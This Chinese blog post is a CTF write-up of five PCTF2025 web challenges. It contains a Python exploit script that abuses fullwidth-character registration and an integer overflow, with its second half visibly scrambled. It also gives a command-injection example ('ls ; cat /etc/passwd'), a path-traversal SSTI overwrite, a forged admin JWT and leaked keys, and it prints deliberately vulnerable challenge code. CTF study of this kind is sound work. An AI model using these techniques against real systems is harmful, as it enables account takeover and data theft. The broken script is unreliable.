跳到主要内容PCTF2025 Web 赛题复盘(后半部分) | 极客日志Python大前端算法
PCTF2025 Web 赛题复盘(后半部分)
复盘 PCTF2025 Web 后半部分五道赛题。第一题“神秘商店”利用全角字符绕过注册检测及 Rust 整数溢出获取余额购买 Flag;第二题“We_will_rockyou”通过密码文件覆盖机制结合 rockyou 字典爆破管理员密码并执行命令;第三题“Jwt_password_manager”发现硬编码 JWT 密钥,伪造 admin 令牌读取存储的 Flag;第四题“ez_upload”利用 SSTI 漏洞上传模板覆盖 index.html 实现任意文件读取;第五题“Do_you_know_session?”在搜索框注入 SSTI 获取密钥后伪造 Flask Session 读取 Flag。主要涉及整数溢出、JWT 伪造、SSTI、Session 劫持等常见 Web 安全漏洞。
剑仙24 浏览 神秘商店
打开题目只有一个登录框。

登录 admin,利用全角字符注册登录。后端代码有转换,全角能够绕过后端对 admin 的检测,把全角 admin 识别成正常的 admin,造成覆盖注册,修改 admin 密码。
注册 admin,其中 n 为全角。

利用整数溢出 4294967246 到 50,购买 flag。可以直接脚本登录。
import requests
def exploit():
url = "http://challenge2.pctf.top:32735"
session = requests.Session()
print("[+] 注册管理员账户...")
users = {
"username": "admi\u00efn",
"password": "123456"
}
response = session.post(f"{url}/register", data=users)
print(f"[+] 注册响应:{response.status_code}")
print("[+] 登录...")
users = {
"username": "admi\u00efn",
"password": "123456"
}
response = session.post(f"{url}/login", data=users)
print(f"[+] 登录响应:{response.status_code}")
response = session.get(f"{url}/user")
print(f"[+] 用户信息:{response.text}")
()
amount = {: }
response = session.post(, data=amount)
()
()
product = {: }
response = session.post(, json=product)
()
__name__ == :
exploit()
print
"[+] 触发 rust 整数溢出..."
"amount"
4294967246
f"{url}/add_balance"
print
f"[+] 增加余额:{response.text}"
print
"[+] 购买 Flag..."
"product_id"
4
f"{url}/buy_product"
print
f"[+] 购买结果:{response.text}"
if
'__main__'
We_will_rockyou
''' Item: Safety Linux Server Panel Time: 2025-10-24 Author: 1ceLAND '''
from flask import Flask, redirect, url_for, render_template, request
import jwt
import uuid
import os
import subprocess
from werkzeug.security import generate_password_hash, check_password_hash
app = Flask(__name__)
app.config['SECRET_KEY'] = str(uuid.uuid4())
def create_token(user_id, username):
payload = {
'user_id': user_id,
'username': username
}
token = jwt.encode(payload, app.config['SECRET_KEY'], algorithm='HS256')
if isinstance(token, bytes):
token = token.decode('utf-8')
return token
def verify_token(token):
try:
payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
user_id = payload['user_id']
username = payload['username']
return user_id, username
except:
return None
def login_required(f):
from functools import wraps
@wraps(f)
def decorated(*args, **kwargs):
token = request.cookies.get('token')
if not token:
return redirect(url_for('login'))
res = verify_token(token)
if not res:
return redirect(url_for('login'))
user_id, username = res
return f(user_id, username, *args, **kwargs)
return decorated
def check_login(u, p):
for user_id, info in accounts.items():
if info['username'] == u:
return check_password_hash(info['password'], p), user_id
return False, None
@app.route('/')
def index():
return redirect(url_for('login'))
@app.route('/login', methods=['GET', 'POST'])
def login():
error_msg = None
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
ok, user_id = check_login(username, password)
if ok:
token = create_token(user_id, username)
response = redirect(url_for('dashboard'))
response.set_cookie('token', token, httponly=True)
return response
else:
error_msg = "Username or Password incorrect!"
return render_template('login.html', error_msg=error_msg)
@app.route('/logout')
def logout():
response = redirect(url_for('login'))
response.delete_cookie('token')
return response
@app.route('/dashboard')
@login_required
def dashboard(user_id, username):
return render_template('dashboard.html', user_id=user_id, username=username)
import subprocess
SAFE_COMMANDS = ['ls', 'pwd', 'whoami', 'dir', 'more']
@app.route('/dashboard/run', methods=['POST'])
@login_required
def run_command(user_id, username):
user_id, username = verify_token(request.cookies.get('token'))
cmd = request.form.get('command', '').strip()
if not cmd or cmd.split()[0] not in SAFE_COMMANDS:
return render_template('dashboard.html', user_id=user_id, username=username, error_msg="Error: Command not allowed or empty")
try:
result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=5)
output = result.stdout + result.stderr
return render_template('dashboard.html', user_id=user_id, username=username, output=output, command=cmd)
except Exception as e:
return render_template('dashboard.html', username=username, error_msg=f"Error: {str(e)}")
if __name__ == '__main__':
admin_id = 0
admin_username = 'admin123'
admin_password = str(uuid.uuid4())
for path in ['/password', './password.txt']:
try:
if os.path.exists(path) and os.path.isfile(path):
with open(path, 'rb') as f:
raw = f.read()
if not raw:
continue
text = raw.decode('utf-8', errors='replace').strip()
candidates = [line.strip() for line in text.splitlines() if line.strip()]
if candidates:
import secrets
admin_password = secrets.choice(candidates)
break
except:
pass
print(f' * Admin password: {admin_password}')
accounts[admin_id] = {
'username': admin_username,
'password': generate_password_hash(admin_password)
}
app.run(debug=False, host='0.0.0.0')
基础配置与初始化
每次重启服务器时,SECRET_KEY 都会随机生成,这意味着服务器重启后所有旧 Token 都会失效。内存数据库:用户信息存储在字典中,服务器重启则数据清空。
认证逻辑 (JWT)
这部分负责用户登录状态的维持。使用 HS256 算法加密生成 JWT token。由于使用了随机 UUID 作为 KEY,安全性在运行时还可以,但无法持久化。
命令执行逻辑
检查机制:只判断命令行的第一个单词是否在白名单内。风险点:shell=True。虽然开头是 ls,但可以利用 shell 拼接符。例如输入:"ls ; cat /etc/passwd"。这里的白名单检查只看到了 "ls",符合要求,但 shell 会执行后面的 cat 命令。
启动逻辑与管理员密码初始化
默认随机生成一个 UUID 密码。密码覆盖机制:尝试从系统文件读取密码。这意味着如果能控制这两个文件之一,就能预设管理员密码。启动时会在控制台打印管理员密码(用于初次运行查看)。
admin 用户名不变一直为 admin123。jwt 密钥是随机生成的,可是这里审计发现 admin 密码虽然一开始是随机生成的,但是后面从一个 txt 文本中随机抽取并覆盖了 admin 密码,这里考察点应该是用字典中的密码爆破。题目描述提示 Try rockyou.txt!,则使用 rockyou 字典爆破密码,用户名是 admin123。
barbie
查看的方法有很多,过滤的 waf 也不行。信息收集,密码爆破,命令执行。
Jwt_password_manager
from flask import Flask, request, redirect, url_for, render_template
import jwt
import uuid
import os
from werkzeug.security import generate_password_hash, check_password_hash
app = Flask(__name__)
app.config['SECRET_KEY'] = '0f3cbb44-f199-4d34-ade9-1545c0972648'
accounts_usernames = []
accounts = {}
user_passwords = {}
def check_username(new_username):
if new_username in accounts_usernames:
return True
return False
def check_login(username, password):
if username not in accounts:
return False
return check_password_hash(accounts[username], password)
def insert_account(new_username, new_password_hash):
try:
accounts_usernames.append(new_username)
accounts[new_username] = new_password_hash
user_passwords[new_username] = []
return True
except:
return False
def create_token(username):
payload = {
'username': username,
}
token = jwt.encode(payload, app.config['SECRET_KEY'], algorithm='HS256')
if isinstance(token, bytes):
token = token.decode('utf-8')
return token
def verify_token(token):
try:
payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
return payload['username']
except:
return None
def login_required(f):
def decorated(*args, **kwargs):
token = request.cookies.get('token')
if not token or not verify_token(token):
return redirect(url_for('login'))
return f(*args, **kwargs)
decorated.__name__ = f.__name__
return decorated
def add_password_item(username, website, site_username, password, notes=''):
try:
password_item = {
'id': str(uuid.uuid4()),
'website': website,
'username': site_username,
'password': password,
'notes': notes,
}
user_passwords[username].append(password_item)
return True
except:
return False
def delete_password_item(username, item_id):
try:
user_passwords[username] = [item for item in user_passwords[username] if item['id'] != item_id]
return True
except:
return False
def get_user_passwords(username):
return user_passwords.get(username, [])
@app.route('/')
def index():
return redirect(url_for('login'))
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
user_exists = check_username(username)
if user_exists:
return render_template('register.html', error_msg="User Already Existed!")
password_hash = generate_password_hash(password)
insert_account(username, password_hash)
return redirect(url_for('login'))
return render_template('register.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
user_exists = check_username(username)
if user_exists == False:
return render_template('login.html', error_msg='Username or Password Wrong!')
if check_login(username, password):
token = create_token(username)
response = redirect(url_for('dashboard'))
response.set_cookie('token', token, httponly=True)
return response
else:
return render_template('login.html', error_msg='Username or Password Wrong!')
return render_template('login.html')
@app.route('/logout')
def logout():
response = redirect(url_for('login'))
response.delete_cookie('token')
return response
@app.route('/dashboard')
@login_required
def dashboard():
username = verify_token(request.cookies.get('token'))
passwords = get_user_passwords(username)
return render_template('dashboard.html', username=username, passwords=passwords)
@app.route('/add_password', methods=['POST'])
@login_required
def add_password():
username = verify_token(request.cookies.get('token'))
website = request.form['website']
site_username = request.form['site_username']
password = request.form['password']
notes = request.form.get('notes', '')
if add_password_item(username, website, site_username, password, notes):
return redirect(url_for('dashboard'))
else:
return render_template('dashboard.html', username=username, passwords=get_user_passwords(username), error_msg="Add password error")
@app.route('/delete_password/<item_id>')
@login_required
def delete_password(item_id):
username = verify_token(request.cookies.get('token'))
if delete_password_item(username, item_id):
return redirect(url_for('dashboard'))
else:
return render_template('dashboard.html', username=username, passwords=get_user_passwords(username), error_msg="Delete password error")
if __name__ == '__main__':
admin_password = str(uuid.uuid4())
insert_account('admin', generate_password_hash(admin_password))
for path in ['/flag', './flag.txt']:
try:
if os.path.exists(path) and os.path.isfile(path):
with open(path, 'rb') as f:
raw = f.read()
if raw:
content = raw.decode('utf-8', errors='replace').strip()
add_password_item('admin', website='seeded-flag', site_username='flag-file', password=content, notes=f'seeded from {path}')
break
except:
pass
app.run(debug=False, host='0.0.0.0')
下载附件审计代码,发现泄露的 jwt 密钥,查看逻辑发现,他读取了 flag,flag 是 admin 的 password。
app.config['SECRET_KEY'] = '0f3cbb44-f199-4d34-ade9-1545c0972648'
那么我们就开始,先注册一个账号拿到普通的 token,然后去 jwt.io 解密 jwt 然后修改成 admin 然后伪造后得到 flag。
伪造后 admin 的 token 为 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImIzMGEwYzNhLTI5Y2YtNGQ0ZS04ZDJiLTcxZGIxOWJlYjc2MiIsInVzZXJuYW1lIjoiYWRtaW4ifQ.PMpPt65DM7rU-z3gljV1f8z5h_DIXSmoDQnMu2vKgQo
然后修改为 admin 的 token,保存密码获取 flag。
ez_upload
这里打开文件,上传任何文件都查看不了,尝试直接读取/etc/passwd 但是被过滤了,查看源码。
import os
import uuid
from flask import Flask, request, render_template_string, redirect, url_for, send_from_directory, flash, jsonify
from werkzeug.exceptions import RequestEntityTooLarge
app = Flask(__name__)
app.secret_key = 'your_secret_key_here'
UPLOAD_FOLDER = 'uploads'
MAX_FILE_SIZE = 16 * 1024 * 1024
ALLOWED_EXTENSIONS = {'txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif', 'doc', 'docx', 'zip', 'html'}
BLACKLIST_KEYWORDS = [
'env', '.env', 'environment', 'profile', 'bashrc', 'proc', 'sys', 'etc', 'passwd', 'shadow', 'flag'
]
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['MAX_CONTENT_LENGTH'] = MAX_FILE_SIZE
if not os.path.exists(UPLOAD_FOLDER):
os.makedirs(UPLOAD_FOLDER)
def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/')
def index():
try:
with open('templates/index.html', 'r', encoding='utf-8') as f:
template_content = f.read()
return render_template_string(template_content)
except FileNotFoundError:
try:
with open('templates/error_template_not_found.html', 'r', encoding='utf-8') as f:
return f.read()
except:
return '<h1>错误</h1><p>模板文件未找到</p><a href="/upload">上传文件</a>'
except Exception as e:
try:
with open('templates/error_render.html', 'r', encoding='utf-8') as f:
template = f.read()
return render_template_string(template, error_message=str(e))
except:
return '<h1>渲染错误</h1><p>' + str(e) + '</p><a href="/upload">上传文件</a>'
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
if 'file' not in request.files:
flash('没有选择文件')
return redirect(request.url)
file = request.files['file']
if file.filename == '':
flash('没有选择文件')
return redirect(request.url)
if file and allowed_file(file.filename):
filename = file.filename
filename = filename.replace('../', '')
file_path = os.path.join(UPLOAD_FOLDER, filename)
try:
file.save(file_path)
flash('文件 {} 上传成功!'.format(filename))
return redirect('/upload')
except Exception as e:
flash('文件上传失败:{}'.format(str(e)))
return redirect(request.url)
else:
flash('不允许的文件类型')
return redirect(request.url)
try:
with open('templates/upload.html', 'r', encoding='utf-8') as f:
template_content = f.read()
return render_template_string(template_content)
except FileNotFoundError:
try:
with open('templates/error_upload_not_found.html', 'r', encoding='utf-8') as f:
return f.read()
except:
return '<h1>错误</h1><p>上传页面模板未找到</p><a href="/">返回主页</a>'
@app.route('/file')
def view_file():
file_path = request.args.get('file', '')
if not file_path:
try:
with open('templates/file_no_param.html', 'r', encoding='utf-8') as f:
return f.read()
except:
return '<h1>文件查看</h1><p>请使用 ?file= 参数指定要查看的文件</p><a href="/">返回主页</a>'
file_path_lower = file_path.lower()
for keyword in BLACKLIST_KEYWORDS:
if keyword in file_path_lower:
try:
with open('templates/file_error.html', 'r', encoding='utf-8') as f:
template = f.read()
return render_template_string(template, file_path=file_path, error_message='访问被拒绝:文件路径包含敏感关键词 [{}]'.format(keyword))
except:
return '<h1>访问被拒绝</h1><p>文件路径包含敏感关键词</p><a href="/">返回主页</a>'
try:
with open(file_path, 'r', encoding='utf-8') as f:
file_content = f.read()
try:
with open('templates/file_view.html', 'r', encoding='utf-8') as f:
template = f.read()
return render_template_string(template, file_path=file_path, file_content=file_content)
except:
return '<h1>文件内容</h1><pre>{}</pre><a href="/">返回主页</a>'.format(file_content)
except Exception as e:
try:
with open('templates/file_error.html', 'r', encoding='utf-8') as f:
template = f.read()
return render_template_string(template, file_path=file_path, error_message=str(e))
except:
return '<h1>文件读取失败</h1><p>错误:{}<p><a href="/">返回主页</a>'.format(str(e))
@app.errorhandler(RequestEntityTooLarge)
def too_large(e):
try:
with open('templates/error_too_large.html', 'r', encoding='utf-8') as f:
template = f.read()
return render_template_string(template, max_size=MAX_FILE_SIZE // (1024*1024)), 413
except:
return '<h1>文件过大</h1><p>文件大小不能超过 {} MB</p>'.format(MAX_FILE_SIZE // (1024*1024)), 413
@app.errorhandler(404)
def not_found(e):
try:
with open('templates/error_404.html', 'r', encoding='utf-8') as f:
return f.read(), 404
except:
return '<h1>404</h1><p>页面不存在</p>', 404
@app.errorhandler(500)
def server_error(e):
try:
with open('templates/error_500.html', 'r', encoding='utf-8') as f:
template = f.read()
return render_template_string(template, error_message=str(e)), 500
except:
return '<h1>500</h1><p>服务器内部错误:{}<p>'.format(str(e)), 500
if __name__ == '__main__':
print("启动 Flask 文件上传应用...")
print("上传目录:{}".format(UPLOAD_FOLDER))
print("最大文件大小:{} MB".format(MAX_FILE_SIZE // (1024*1024)))
print("允许的文件类型:{}".format(ALLOWED_EXTENSIONS))
app.run(debug=False, host='0.0.0.0', port=5000)
render_template_string 渲染了 html 页面内容,则可以实现覆盖 index.html 在里面实现 ssti 绕过上传限制....//templates/index.html
Do_you_know_session?
看到题目到处试了试 ssti,发现在搜索框中可以进行 ssti。
/search?context=
但是有 waf,只能看到 config,刚好 secretkey 就存在这里,我们直接就可以获取到。
1919810#mistyovo@foxdog@lzz0403#114514
然后我们看到我们有 session,用 flask-session-cookie-manager。
相关免费在线工具
- 加密/解密文本
使用加密算法(如AES、TripleDES、Rabbit或RC4)加密和解密文本明文。 在线工具,加密/解密文本在线工具,online
- Gemini 图片去水印
基于开源反向 Alpha 混合算法去除 Gemini/Nano Banana 图片水印,支持批量处理与下载。 在线工具,Gemini 图片去水印在线工具,online
- curl 转代码
解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online
- Base64 字符串编码/解码
将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online
- Base64 文件转换器
将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online
- Markdown转HTML
将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online